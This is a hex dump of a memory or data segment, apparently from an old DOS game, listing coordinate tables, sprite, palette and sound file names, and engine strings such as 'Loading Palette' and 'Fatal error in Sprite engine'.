28BA:17D0 00 00 3D 01 97 11 62 01 97 11 10 00 00 00 A2 17 ..=...b.........
28BA:17E0 BA 28 FA 00 49 00 1C 01 63 00 A8 9F BA 28 00 00 .(..I...c....(..
28BA:17F0 00 00 3D 01 97 11 62 01 97 11 0F 00 00 00 C2 17 ..=...b.........
28BA:1800 BA 28 D3 00 52 00 EA 00 68 00 A8 9F BA 28 00 00 .(..R...h....(..
28BA:1810 00 00 3D 01 97 11 62 01 97 11 0E 00 00 00 E2 17 ..=...b.........
28BA:1820 BA 28 AD 00 58 00 CA 00 6D 00 A8 9F BA 28 00 00 .(..X...m....(..
28BA:1830 00 00 3D 01 97 11 62 01 97 11 0D 00 00 00 02 18 ..=...b.........
28BA:1840 BA 28 86 00 5D 00 A4 00 71 00 A8 9F BA 28 00 00 .(..]...q....(..
28BA:1850 00 00 3D 01 97 11 62 01 97 11 0C 00 00 00 22 18 ..=...b.......".
28BA:1860 BA 28 3D 00 52 00 5E 00 6E 00 A8 9F BA 28 00 00 .(=.R.^.n....(..
28BA:1870 00 00 3D 01 97 11 62 01 97 11 0B 00 00 00 42 18 ..=...b.......B.
28BA:1880 BA 28 F9 00 31 00 19 01 43 00 A8 9F BA 28 00 00 .(..1...C....(..
28BA:1890 00 00 3D 01 97 11 62 01 97 11 0A 00 00 00 62 18 ..=...b.......b.
28BA:18A0 BA 28 CF 00 3A 00 ED 00 4F 00 A8 9F BA 28 00 00 .(..:...O....(..
28BA:18B0 00 00 3D 01 97 11 62 01 97 11 09 00 00 00 82 18 ..=...b.........
28BA:18C0 BA 28 AA 00 41 00 C7 00 55 00 A8 9F BA 28 00 00 .(..A...U....(..
28BA:18D0 00 00 3D 01 97 11 62 01 97 11 08 00 00 00 A2 18 ..=...b.........
28BA:18E0 BA 28 80 00 35 00 A0 00 4D 00 A8 9F BA 28 00 00 .(..5...M....(..
28BA:18F0 00 00 3D 01 97 11 62 01 97 11 07 00 00 00 C2 18 ..=...b.........
28BA:1900 BA 28 5F 00 43 00 7A 00 5F 00 A8 9F BA 28 00 00 .(_.C.z._....(..
28BA:1910 00 00 3D 01 97 11 62 01 97 11 06 00 00 00 E2 18 ..=...b.........
28BA:1920 BA 28 3C 00 2F 00 5E 00 4A 00 A8 9F BA 28 00 00 .(<./.^.J....(..
28BA:1930 00 00 3D 01 97 11 62 01 97 11 05 00 00 00 02 19 ..=...b.........
28BA:1940 BA 28 E8 00 18 00 0A 01 2E 00 A8 9F BA 28 00 00 .(...........(..
28BA:1950 00 00 3D 01 97 11 62 01 97 11 04 00 00 00 22 19 ..=...b.......".
28BA:1960 BA 28 BE 00 23 00 DC 00 38 00 A8 9F BA 28 00 00 .(..#...8....(..
28BA:1970 00 00 3D 01 97 11 62 01 97 11 03 00 00 00 42 19 ..=...b.......B.
28BA:1980 BA 28 8E 00 1F 00 B2 00 33 00 A8 9F BA 28 00 00 .(......3....(..
28BA:1990 00 00 3D 01 97 11 62 01 97 11 02 00 00 00 62 19 ..=...b.......b.
28BA:19A0 BA 28 60 00 1A 00 80 00 32 00 A8 9F BA 28 00 00 .(`.....2....(..
28BA:19B0 00 00 3D 01 97 11 62 01 97 11 01 00 00 00 82 19 ..=...b.........
28BA:19C0 BA 28 64 6F 63 73 63 72 2E 70 73 70 00 64 6F 63 .(docscr.psp.doc
28BA:19D0 70 61 6C 2E 70 70 73 00 6A 61 63 6B 6F 66 66 2E pal.pps.jackoff.
28BA:19E0 70 73 70 00 6A 61 63 6B 6F 6E 2E 70 73 70 00 61 psp.jackon.psp.a
28BA:19F0 63 74 70 6F 73 2E 70 73 70 00 6F 75 74 6C 69 6E ctpos.psp.outlin
28BA:1A00 65 20 62 75 66 66 65 72 2E 0A 00 6E 6F 2E 72 61 e buffer...no.ra
28BA:1A10 77 00 76 69 73 69 74 65 64 2E 72 61 77 00 68 61 w.visited.raw.ha
28BA:1A20 6C 6F 2E 72 61 77 00 55 6E 64 6F 20 42 75 66 66 lo.raw.Undo Buff
28BA:1A30 65 72 00 71 75 69 74 2E 70 73 70 00 00 00 00 00 er.quit.psp.....
28BA:1A40 00 00 00 00 00 00 00 00 00 10 01 8C 00 00 01 05 ................
28BA:1A50 02 00 00 01 00 00 13 01 7C 00 03 01 01 07 03 00 ........|.......
28BA:1A60 00 00 00 19 01 69 00 0A 01 02 08 09 00 01 00 00 .....i..........
28BA:1A70 09 01 55 00 FE 00 0A 00 00 00 00 01 00 E5 00 9F ..U.............
28BA:1A80 00 D5 00 01 07 00 00 00 00 00 C2 00 8D 00 B3 00 ................
28BA:1A90 07 0F 10 00 00 00 00 E7 00 85 00 D5 00 02 05 06 ................
28BA:1AA0 08 01 00 00 CA 00 78 00 B7 00 03 07 0E 10 00 00 ......x.........
28BA:1AB0 00 EB 00 65 00 DB 00 03 0A 0E 00 00 00 00 D9 00 ...e............
28BA:1AC0 57 00 CC 00 04 09 0B 0D 01 00 00 D2 00 4A 00 C3 W............J..
28BA:1AD0 00 0A 0C 13 00 00 00 00 A6 00 4B 00 97 00 0B 14 ..........K.....
28BA:1AE0 00 00 01 00 00 B7 00 5D 00 AB 00 0A 0E 12 13 00 .......]........
28BA:1AF0 00 00 BE 00 69 00 AE 00 08 09 0D 11 01 00 00 99 ....i...........
28BA:1B00 00 A1 00 89 00 06 1E 00 00 01 00 00 A5 00 84 00 ................
28BA:1B10 94 00 06 08 11 1E 01 00 00 8C 00 76 00 7B 00 0E ...........v.{..
28BA:1B20 10 12 16 00 00 00 8E 00 6A 00 7F 00 0D 11 17 18 ........j.......
28BA:1B30 01 00 00 90 00 58 00 7E 00 0B 0D 14 18 01 00 00 .....X.~........
28BA:1B40 79 00 4C 00 69 00 0C 13 19 1A 00 00 00 71 00 97 y.L.i........q..
28BA:1B50 00 61 00 16 00 00 00 00 01 00 64 00 7D 00 52 00 .a........d.}.R.
28BA:1B60 11 15 1E 00 01 00 00 5E 00 6A 00 4F 00 12 00 00 .......^.j.O....
28BA:1B70 00 00 01 00 62 00 5E 00 51 00 12 13 1A 1B 00 00 ....b.^.Q.......
28BA:1B80 00 4E 00 4B 00 3E 00 14 00 00 00 01 01 00 3D 00 .N.K.>........=.
28BA:1B90 55 00 2B 00 14 18 1C 1D 01 00 00 32 00 69 00 24 U.+........2.i.$
28BA:1BA0 00 18 1C 00 00 01 00 00 19 00 5D 00 0A 00 1A 1B ..........].....
28BA:1BB0 1D 00 00 00 00 19 00 4C 00 0C 00 1C 1A 00 00 01 .......L........
28BA:1BC0 02 00 7C 00 8A 00 6F 00 0F 10 16 00 01 00 00 27 ..|...o........'
28BA:1BD0 2F 38 2A 31 3A 2C 33 3C 2F 36 3E 25 2D 36 27 2F /8*1:,3</6>%-6'/
28BA:1BE0 38 2A 31 3A 2C 33 3C 2F 36 3E 00 00 BE 00 3F 01 8*1:,3</6>....?.
28BA:1BF0 C7 00 F2 A8 BA 28 00 00 00 00 5A 01 32 12 5A 01 .....(....Z.2.Z.
28BA:1C00 32 12 00 00 00 00 00 00 00 00 00 00 00 00 3F 01 2.............?.
28BA:1C10 BD 00 AC 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1C20 32 12 00 00 00 00 EA 1B BA 28 75 00 82 00 93 00 2........(u.....
28BA:1C30 8F 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1C40 32 12 1E 00 00 00 0A 1C BA 28 0F 00 3E 00 33 00 2........(..>.3.
28BA:1C50 53 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 S....(....5.2.5.
28BA:1C60 32 12 1D 00 00 00 2A 1C BA 28 0B 00 57 00 30 00 2.....*..(..W.0.
28BA:1C70 61 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 a....(....5.2.5.
28BA:1C80 32 12 1C 00 00 00 4A 1C BA 28 2B 00 62 00 4A 00 2.....J..(+.b.J.
28BA:1C90 71 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 q....(....5.2.5.
28BA:1CA0 32 12 1B 00 00 00 6A 1C BA 28 35 00 4F 00 53 00 2.....j..(5.O.S.
28BA:1CB0 5E 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 ^....(....5.2.5.
28BA:1CC0 32 12 1A 00 00 00 8A 1C BA 28 47 00 40 00 64 00 2........(G.@.d.
28BA:1CD0 4E 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 N....(....5.2.5.
28BA:1CE0 32 12 19 00 00 00 AA 1C BA 28 5A 00 57 00 76 00 2........(Z.W.v.
28BA:1CF0 62 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 b....(....5.2.5.
28BA:1D00 32 12 18 00 00 00 CA 1C BA 28 58 00 64 00 75 00 2........(X.d.u.
28BA:1D10 70 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 p....(....5.2.5.
28BA:1D20 32 12 17 00 00 00 EA 1C BA 28 5B 00 77 00 74 00 2........([.w.t.
28BA:1D30 85 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1D40 32 12 16 00 00 00 0A 1D BA 28 64 00 90 00 8F 00 2........(d.....
28BA:1D50 A3 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1D60 32 12 15 00 00 00 2A 1D BA 28 72 00 43 00 8E 00 2.....*..(r.C...
28BA:1D70 50 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 P....(....5.2.5.
28BA:1D80 32 12 14 00 00 00 4A 1D BA 28 86 00 53 00 A2 00 2.....J..(..S...
28BA:1D90 5E 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 ^....(....5.2.5.
28BA:1DA0 32 12 13 00 00 00 6A 1D BA 28 85 00 62 00 A6 00 2.....j..(..b...
28BA:1DB0 70 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 p....(....5.2.5.
28BA:1DC0 32 12 12 00 00 00 8A 1D BA 28 81 00 71 00 A1 00 2........(..q...
28BA:1DD0 7B 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 {....(....5.2.5.
28BA:1DE0 32 12 11 00 00 00 AA 1D BA 28 9B 00 7C 00 B6 00 2........(..|...
28BA:1DF0 8C 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1E00 32 12 10 00 00 00 CA 1D BA 28 90 00 99 00 B5 00 2........(......
28BA:1E10 AA 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1E20 32 12 0F 00 00 00 EA 1D BA 28 B3 00 64 00 D2 00 2........(..d...
28BA:1E30 6E 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 n....(....5.2.5.
28BA:1E40 32 12 0E 00 00 00 0A 1E BA 28 B0 00 56 00 CE 00 2........(..V...
28BA:1E50 62 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 b....(....5.2.5.
28BA:1E60 32 12 0D 00 00 00 2A 1E BA 28 9C 00 43 00 BE 00 2.....*..(..C...
28BA:1E70 50 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 P....(....5.2.5.
28BA:1E80 32 12 0C 00 00 00 4A 1E BA 28 C8 00 43 00 EB 00 2.....J..(..C...
28BA:1E90 51 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 Q....(....5.2.5.
28BA:1EA0 32 12 0B 00 00 00 6A 1E BA 28 D0 00 53 00 F6 00 2.....j..(..S...
28BA:1EB0 5E 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 ^....(....5.2.5.
28BA:1EC0 32 12 0A 00 00 00 8A 1E BA 28 DD 00 5F 00 FF 00 2........(.._...
28BA:1ED0 6A 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 j....(....5.2.5.
28BA:1EE0 32 12 09 00 00 00 AA 1E BA 28 BE 00 72 00 E2 00 2........(..r...
28BA:1EF0 7D 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 }....(....5.2.5.
28BA:1F00 32 12 08 00 00 00 CA 1E BA 28 D6 00 7E 00 00 01 2........(..~...
28BA:1F10 88 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1F20 32 12 07 00 00 00 EA 1E BA 28 B7 00 88 00 E2 00 2........(......
28BA:1F30 97 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1F40 32 12 06 00 00 00 0A 1F BA 28 DC 00 98 00 FE 00 2........(......
28BA:1F50 A9 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1F60 32 12 05 00 00 00 2A 1F BA 28 01 01 4C 00 25 01 2.....*..(..L.%.
28BA:1F70 5E 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 ^....(....5.2.5.
28BA:1F80 32 12 04 00 00 00 4A 1F BA 28 0F 01 62 00 33 01 2.....J..(..b.3.
28BA:1F90 6F 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 o....(....5.2.5.
28BA:1FA0 32 12 03 00 00 00 6A 1F BA 28 08 01 74 00 2B 01 2.....j..(..t.+.
28BA:1FB0 83 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1FC0 32 12 02 00 00 00 8A 1F BA 28 05 01 86 00 27 01 2........(....'.
28BA:1FD0 9A 00 A8 9F BA 28 00 00 00 00 35 01 32 12 35 01 .....(....5.2.5.
28BA:1FE0 32 12 01 00 00 00 AA 1F BA 28 68 75 6E 74 70 61 2........(huntpa
28BA:1FF0 6E 74 2E 70 73 70 00 68 75 6E 74 5F 70 61 6C 2E nt.psp.hunt_pal.
28BA:2000 70 70 73 00 68 63 6F 77 62 6F 79 2E 70 73 70 00 pps.hcowboy.psp.
28BA:2010 68 63 75 72 6F 66 66 2E 70 73 70 00 68 63 75 72 hcuroff.psp.hcur
28BA:2020 6F 6E 2E 70 73 70 00 68 6D 75 73 74 61 6E 67 2E on.psp.hmustang.
28BA:2030 70 73 70 00 6F 75 74 6C 69 6E 65 20 62 75 66 66 psp.outline buff
28BA:2040 65 72 2E 0A 00 6E 6F 2E 72 61 77 00 70 6F 69 6E er...no.raw.poin
28BA:2050 67 2E 72 61 77 00 68 6F 72 73 65 2E 72 61 77 00 g.raw.horse.raw.
28BA:2060 71 75 69 74 2E 70 73 70 00 00 64 00 00 00 00 00 quit.psp..d.....
28BA:2070 F6 F6 F6 F6 0A 0A 0A 0A F8 F8 F8 F8 08 08 08 08 ................
28BA:2080 FA FA FA FA 06 06 06 06 FC FC FC FC 04 04 04 04 ................
28BA:2090 FE FE FE FE 02 02 02 02 7F 00 00 00 00 00 00 00 ................
28BA:20A0 00 00 00 00 00 00 00 00 00 00 BE 00 3F 01 C7 00 ............?...
28BA:20B0 F2 A8 BA 28 00 00 00 00 38 08 2E 14 38 08 2E 14 ...(....8...8...
28BA:20C0 00 00 00 00 00 00 00 00 00 00 00 00 3F 01 BD 00 ............?...
28BA:20D0 00 00 00 00 1F 08 2E 14 DD 07 2E 14 DD 07 2E 14 ................
28BA:20E0 00 00 00 00 A8 20 BA 28 70 6C 61 74 61 66 2E 70 ..... .(plataf.p
28BA:20F0 73 70 00 6D 61 69 6E 70 75 6C 2E 70 73 70 00 66 sp.mainpul.psp.f
28BA:2100 69 72 65 6D 61 6E 2E 70 73 70 00 66 69 72 65 77 ireman.psp.firew
28BA:2110 6F 6D 2E 70 73 70 00 66 69 72 65 62 6F 79 2E 70 om.psp.fireboy.p
28BA:2120 73 70 00 66 69 72 65 64 6F 67 2E 70 73 70 00 68 sp.firedog.psp.h
28BA:2130 65 78 61 66 69 72 65 2E 70 73 70 00 66 6F 72 74 exafire.psp.fort
28BA:2140 6F 6F 6D 2E 70 73 70 00 65 73 6B 75 69 63 6F 6E oom.psp.eskuicon
28BA:2150 2E 70 73 70 00 66 69 72 65 5F 70 61 6C 2E 70 70 .psp.fire_pal.pp
28BA:2160 73 00 62 61 63 6B 67 72 6F 75 6E 64 20 62 75 66 s.background buf
28BA:2170 66 65 72 2E 0A 00 66 69 72 65 20 65 73 63 61 70 fer...fire escap
28BA:2180 65 20 67 72 61 70 68 73 2E 0A 00 6F 75 74 6C 69 e graphs...outli
28BA:2190 6E 65 20 62 75 66 66 65 72 2E 0A 00 4C 6F 61 64 ne buffer...Load
28BA:21A0 69 6E 67 20 50 61 6C 65 74 74 65 00 48 41 4E 44 ing Palette.HAND
28BA:21B0 20 43 55 52 53 4F 52 00 72 6F 70 65 00 7A 6F 74 CURSOR.rope.zot
28BA:21C0 2E 72 61 77 00 67 6C 69 2E 72 61 77 00 65 79 2E .raw.gli.raw.ey.
28BA:21D0 72 61 77 00 67 72 69 74 6F 34 2E 72 61 77 00 6E raw.grito4.raw.n
28BA:21E0 69 6E 6F 2E 72 61 77 00 77 6F 77 2E 72 61 77 00 ino.raw.wow.raw.
28BA:21F0 63 72 61 6B 61 2E 72 61 77 00 71 75 69 74 2E 70 craka.raw.quit.p
28BA:2200 73 70 00 00 07 00 09 00 00 00 00 00 00 00 00 00 sp..............
28BA:2210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
; ...
28BA:2240 00 00 00 00 00 00 00 02 03 04 05 06 07 08 07 06 ................
28BA:2250 05 04 03 04 05 06 07 06 05 04 05 00 00 BE 00 3F ...............?
28BA:2260 01 C7 00 F2 A8 BA 28 00 00 00 00 C0 05 51 15 C0 ......(......Q..
28BA:2270 05 51 15 00 00 00 00 00 00 00 00 00 00 00 00 3F .Q.............?
28BA:2280 01 BD 00 00 00 00 00 00 00 00 00 76 05 51 15 9B ...........v.Q..
28BA:2290 05 51 15 00 00 00 00 5B 22 BA 28 1F 01 42 00 32 .Q.....[".(..B.2
28BA:22A0 01 4F 00 00 00 00 00 00 00 00 00 1C 05 51 15 1C .O...........Q..
28BA:22B0 05 51 15 00 00 00 00 7B 22 BA 28 09 01 42 00 1E .Q.....{".(..B..
28BA:22C0 01 4F 00 00 00 00 00 00 00 00 00 C2 04 51 15 C2 .O...........Q..
28BA:22D0 04 51 15 00 00 00 00 9B 22 BA 28 1F 01 1D 00 32 .Q......".(....2
28BA:22E0 01 2B 00 00 00 00 00 00 00 00 00 68 04 51 15 68 .+.........h.Q.h
28BA:22F0 04 51 15 00 00 00 00 BB 22 BA 28 09 01 1D 00 1E .Q......".(.....
28BA:2300 01 2B 00 00 00 00 00 00 00 00 00 0E 04 51 15 0E .+...........Q..
28BA:2310 04 51 15 00 00 00 00 DB 22 BA 28 63 6C 65 61 72 .Q......".(clear
28BA:2320 62 6C 6F 2E 70 73 70 00 66 6C 61 67 67 69 65 2E blo.psp.flaggie.
28BA:2330 70 73 70 00 73 77 69 6E 67 66 6C 2E 70 73 70 00 psp.swingfl.psp.
28BA:2340 61 74 6F 72 6E 70 61 6C 2E 70 70 73 00 6F 75 74 atornpal.pps.out
28BA:2350 6C 69 6E 65 20 62 75 66 66 65 72 2E 0A 00 4C 6F line buffer...Lo
28BA:2360 61 64 69 6E 67 20 50 61 6C 65 74 74 65 00 61 74 ading Palette.at
28BA:2370 74 6F 72 6E 32 2E 70 73 70 00 61 74 74 6F 72 6E torn2.psp.attorn
28BA:2380 31 2E 70 73 70 00 61 63 63 6F 72 64 2E 72 61 77 1.psp.accord.raw
28BA:2390 00 71 75 69 74 2E 70 73 70 00 46 61 74 61 6C 20 .quit.psp.Fatal
28BA:23A0 65 72 72 6F 72 20 69 6E 20 53 70 72 69 74 65 20 error in Sprite
28BA:23B0 65 6E 67 69 6E 65 00 63 72 65 61 74 69 6E 67 20 engine.creating
28BA:23C0 73 70 72 69 74 65 73 20 73 74 72 75 63 74 75 72 sprites structur
28BA:23D0 65 00 07 24 AA 0B A2 B9 00 00 00 00 00 00 00 00 e..$............
28BA:23E0 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 ................
28BA:23F0 25 00 00 95 95 B1 0B C4 B9 00 00 00 00 00 00 00 %...............
28BA:2400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C ................
28BA:2410 04 25 00 00 09 CA B5 0B D6 B9 00 00 00 00 00 00 .%..............
28BA:2420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A ................
28BA:2430 0C 04 25 00 00 29 54 B5 0B D4 B9 00 00 00 00 00 ..%..)T.........
28BA:2440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2450 0A 0C 04 25 00 00 A4 61 B4 0B D0 B9 00 00 00 00 ...%...a........
28BA:2460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2470 00 0A 0C 04 25 00 00 8F 92 B2 0B C8 B9 C8 B9 00 ....%...........
28BA:2480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2490 00 00 0A 0C 04 25 00 00 E7 50 B0 0B BE B9 00 00 .....%...P......
28BA:24A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:24B0 00 00 00 0A 0C 04 25 00 00 21 9D AD 0B B2 B9 00 ......%..!......
28BA:24C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:24D0 00 00 00 00 0A 0C 04 25 00 00 FA 9A F5 0C DE C7 .......%........
28BA:24E0 3D C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =...............
28BA:24F0 00 00 00 00 00 0A 0C 04 25 00 00 66 3E AC 0B AC ........%..f>...
28BA:2500 B9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2510 00 00 00 00 00 00 0A 0C 04 25 00 00 FC 61 AB 0B .........%...a..
28BA:2520 A8 B9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2530 00 00 00 00 00 00 00 0A 0C 04 25 00 00 FA E2 AA ..........%.....
28BA:2540 0B A6 B9 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2550 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 FC 6B ...........%...k
28BA:2560 45 0C 88 C0 4A C1 00 00 00 00 00 00 00 00 00 00 E...J...........
28BA:2570 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 94 ............%...
28BA:2580 D3 38 0C C4 BF 86 C0 00 00 00 00 00 00 00 00 00 .8..............
28BA:2590 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 .............%..
28BA:25A0 28 E1 51 0D 48 CC 0B CD 00 00 00 00 00 00 00 00 (.Q.H...........
28BA:25B0 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 ..............%.
28BA:25C0 00 50 C6 B6 0B DA B9 00 00 00 00 00 00 00 00 00 .P..............
28BA:25D0 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 ...............%
28BA:25E0 00 00 A9 B0 E9 0C F4 C6 47 C7 00 00 00 00 00 00 ........G.......
28BA:25F0 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 ................
28BA:2600 25 00 00 4E C0 B7 0B DE B9 00 00 00 00 00 00 00 %..N............
28BA:2610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C ................
28BA:2620 04 25 00 00 25 10 B8 0B E0 B9 00 00 00 00 00 00 .%..%...........
28BA:2630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A ................
28BA:2640 0C 04 25 00 00 85 53 B8 0B E2 B9 00 00 00 00 00 ..%...S.........
28BA:2650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2660 0A 0C 04 25 00 00 72 47 FC 0C 3E C8 7C C9 00 00 ...%..rG..>.|...
28BA:2670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2680 00 0A 0C 04 25 00 00 B6 2B B9 0B E6 B9 00 00 00 ....%...+.......
28BA:2690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:26A0 00 00 0A 0C 04 25 00 00 B3 29 F2 0C 48 C7 DD C7 .....%...)..H...
28BA:26B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:26C0 00 00 00 0A 0C 04 25 00 00 2A 93 B9 0B E8 B9 00 ......%..*......
28BA:26D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:26E0 00 00 00 00 0A 0C 04 25 00 00 DE 35 A6 0B 92 B9 .......%...5....
28BA:26F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2700 00 00 00 00 00 00 00 00 00 00 00 0B 49 B6 0B D8 ............I...
28BA:2710 B9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2720 00 00 00 00 00 00 0A 0C 04 25 00 00 AE C8 1B 0D .........%......
28BA:2730 B4 C9 CF C9 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2740 00 00 00 00 00 00 00 0A 0C 04 25 00 00 4E 1B 59 ..........%..N.Y
28BA:2750 06 3E 65 14 66 00 00 00 00 00 00 00 00 01 00 00 .>e.f...........
28BA:2760 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 76 B0 ..............v.
28BA:2770 04 05 5A 54 C4 54 00 00 00 00 00 00 00 00 01 00 ..ZT.T..........
28BA:2780 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 69 ...............i
28BA:2790 67 E1 0D 26 D2 00 00 00 00 00 00 00 00 00 00 00 g..&............
28BA:27A0 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 .............%..
28BA:27B0 64 04 52 0C 4C C1 BA C1 00 00 00 00 00 00 00 00 d.R.L...........
28BA:27C0 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 ..............%.
28BA:27D0 00 CA 0D B4 0C B4 C4 23 C5 00 00 00 00 00 00 00 .......#........
28BA:27E0 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 ...............%
28BA:27F0 00 00 75 7F 95 0C A2 C3 43 C4 00 00 00 00 00 00 ..u.....C.......
28BA:2800 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 ................
28BA:2810 25 00 00 5B 1C 5E 0C BC C1 5C C2 00 00 00 00 00 %..[.^...\......
28BA:2820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C ................
28BA:2830 04 25 00 00 50 41 CA 0C 96 C5 36 C6 00 00 00 00 .%..PA....6.....
28BA:2840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A ................
28BA:2850 0C 04 25 00 00 17 09 83 0C 00 C3 A0 C3 00 00 00 ..%.............
28BA:2860 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2870 0A 0C 04 25 00 00 B9 92 70 0C 5E C2 FE C2 00 00 ...%....p.^.....
28BA:2880 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2890 00 0A 0C 04 25 00 00 52 EE 5E 0D 0E CD AE CD 00 ....%..R.^......
28BA:28A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:28B0 00 00 0A 0C 04 25 00 00 C1 25 C0 0C 24 C5 95 C5 .....%...%..$...
28BA:28C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:28D0 00 00 00 0A 0C 04 25 00 00 99 C5 47 0D D6 CB 46 ......%....G...F
28BA:28E0 CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:28F0 00 00 00 00 0A 0C 04 25 00 00 23 7E 20 0D 38 CA .......%..#~ .8.
28BA:2900 D4 CB 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2910 00 00 00 00 00 0A 0C 04 25 00 00 23 7E 20 0D 38 ........%..#~ .8
28BA:2920 CA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2930 00 00 00 00 00 00 0A 0C 04 25 00 00 0E 99 E7 02 .........%......
28BA:2940 4C 2D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 L-..............
28BA:2950 00 00 00 00 00 00 00 0A 0C 04 25 00 00 6C C8 F7 ..........%..l..
28BA:2960 0B 6E BD 3C BE 00 00 00 00 00 00 00 00 00 00 00 .n.<............
28BA:2970 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 09 7A ...........%...z
28BA:2980 BA 0B F2 B9 55 BB 00 00 00 00 00 00 00 00 00 00 ....U...........
28BA:2990 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 D2 ............%...
28BA:29A0 FA 0E 0C 3E BE C2 BF 00 00 00 00 00 00 00 00 00 ...>............
28BA:29B0 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 .............%..
28BA:29C0 D2 78 EA 0B C2 BB 6D BD 00 00 00 00 00 00 00 00 .x....m.........
28BA:29D0 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 ..............%.
28BA:29E0 00 B8 B7 DC 0C 38 C6 F3 C6 00 00 00 00 00 00 00 .....8..........
28BA:29F0 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 ...............%
28BA:2A00 00 00 06 13 1E 0D D0 C9 37 CA 00 00 00 00 00 00 ........7.......
28BA:2A10 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 ................
28BA:2A20 25 00 00 62 7C 20 0D 37 CA 00 00 00 00 00 00 00 %..b| .7........
28BA:2A30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C ................
28BA:2A40 04 25 00 00 05 FB B9 0B F0 B9 00 00 00 00 00 00 .%..............
28BA:2A50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A ................
